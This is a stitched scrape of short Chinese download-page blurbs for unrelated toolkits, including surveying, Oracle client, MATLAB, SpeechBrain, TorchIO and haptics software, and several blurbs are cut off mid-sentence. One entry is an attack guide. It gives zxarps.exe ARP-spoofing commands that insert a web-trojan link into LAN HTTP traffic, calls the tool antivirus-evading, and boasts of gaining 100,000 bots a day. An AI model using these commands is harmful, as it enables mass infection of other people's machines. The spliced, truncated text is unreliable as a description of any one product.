经天测绘测量计算工具包是一款测绘测量中一些工作中常用的计算小工具，高程测量是测绘地形图的基本工作之一，另外大量的工程、建筑施工也必须量测地面高程，利用水准仪进行水准测量是精密测量高程的主要方法，采用一定的计算方法，测定两点的高差，从而由一点的已知高程，推算另一点的高程。 软件说明 (1)7参数转换参数中有关旋转角的部分，以前版本单位为弧度（“二公共点简易变换”除外），V4.0改为了秒（“二公共点简

这是一个我自己整理的用SQL Developer远程连接服务器oracle数据库的工具包，不需要安装本机oracle客户端，也不需要安装其他客户端软件，纯绿色版。配置快而轻松。特别适合刚接触oracle的和不想在本机安装oracle客户端和配置一大堆复杂配置的同学。使用方法请参考我csdn上的博文。里面有具体的过程

该工具包为matlab时频分析工具包，包括STFT、WVD、RSTFT等时频分析程序代码和范例程序

SpeechBrain工具包 SpeechBrain是基于PyTorch的开源和多合一语音工具包。 目标是创建一个单一，灵活且用户友好的工具包，可用于轻松开发最新的语音技术，包括语音识别，说话者识别，语音增强，多麦克风信号处理和语音识别系统。很多其他的。 SpeechBrain目前处于测试版。 |||||| | 主要特点 SpeechBrain提供了各种有用的工具来加快和促进语音技术的研究： 与各种预训练模型完美集成 （HuggingFace）在我们的官方。这些模型具有接口，可轻松运行推理，促进集成。如果没有HuggingFace模型，我们通常至少提供一个Google云端硬盘文件夹，其中包含所有对应的实验结果。 Brain类是一种完全可自定义的工具，用于管理数据的训练和评估循环。可以为您处理培训循环的烦人细节，同时保留完全的灵活性，以便在需要时覆盖过程的任何部分。 一种基于YAM

斐讯r1音箱DLNA设置工具包，教程以图片形式保存在压缩包里，三张

地震勘探数据处理的matlab工具包，包括常用的反褶积，拉登变换，地震绘图等多种功能

诸如TorchIO之类的工具是使用深度学习技术的医学AI研究成熟的征兆。 政策总监Jack Clark（）。 包 文件 建立 覆盖范围 码 笔记本电脑 社会的 原版的 （参加） TorchIO是一个Python软件包，其中包含一组工具，可在用编写的深度学习应用程序中有效读取，预处理，采样，增强和写入3D医学图像，包括用于数据增强和预处理的强度和空间变换。 变换包括典型的计算机视觉操作，例如随机仿射变换，以及特定领域的操作，例如，由于或像而引起的强度伪像的仿真。 该软件包受到NiftyNet的极大启发，NiftyNet。 学分 如果您喜欢此存储库，请单击“星号”！ 如果您使用此软件包进行研究，请引用以下文章： BibTeX条目： @article { perez-garcia_torchio_2020 , title = { {TorchIO}: a {Python} library for efficient loading, preprocessing, augmentation and patch-based sampling of medi

VS2013运行OpenGL例子提示找不到可以下载这个工具包

ARP命令： 这里网马地址就假设为 http://www.hmhk.cn 那么命令就是 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "" 接着上 3389 服务器 服务器必须安装 winPcap.exe 工具都有打包 然后就执行 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "" IP自己改 这样就可以把马挂上拉 如果拿到一台内网机器 整个机房的机器都可以挂上马(弄的好一天10万肉鸡都不是梦，哈哈) 注：zxarps.exe是免杀的 先安装WinPcap_4_0.exe 然后运行1.bat的批处理输入命令zxarps.exe就行拉 查看内网ip命令 开始→运行→cmd→ipconfig

潘西姆 PHANToM设备（美国马萨诸塞州，SensAble Technologies Inc.）为工业和学术界的用户提供了在虚拟现实，触觉，机器人运动控制和远程操作方面进行研究和教育的机会。 传统上，为了使用这些设备，必须使用OpenHaptics软件开发套件（SDK）开发C / C ++代码。 PHANSIM工具包是一种学术/非商业Simulink工具包，用于PHANToM触觉设备的实时运动控制和远程操作。 该工具包有助于在Simulink中使用PHANToM触觉设备。 通过使用两种不同类型的PHANToM产品（即Omni和Premium 1.5模型）的两次说明性实验证明了该工具包的实用性。